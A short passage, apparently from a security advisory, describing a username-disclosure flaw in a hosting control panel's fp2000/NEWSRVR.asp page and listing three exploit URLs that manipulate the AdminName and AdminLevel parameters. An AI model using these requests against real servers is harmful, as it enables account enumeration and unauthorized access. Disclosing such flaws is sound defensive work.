10- [User] can see all usernames in the server by "fp2000/NEWSRVR.asp".
10.1- Some exploits are:
http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=OWNERNAME&AdminLevel=reseller
http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=hcadmin&AdminLevel=host
And for all usernames: http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=&AdminLevel=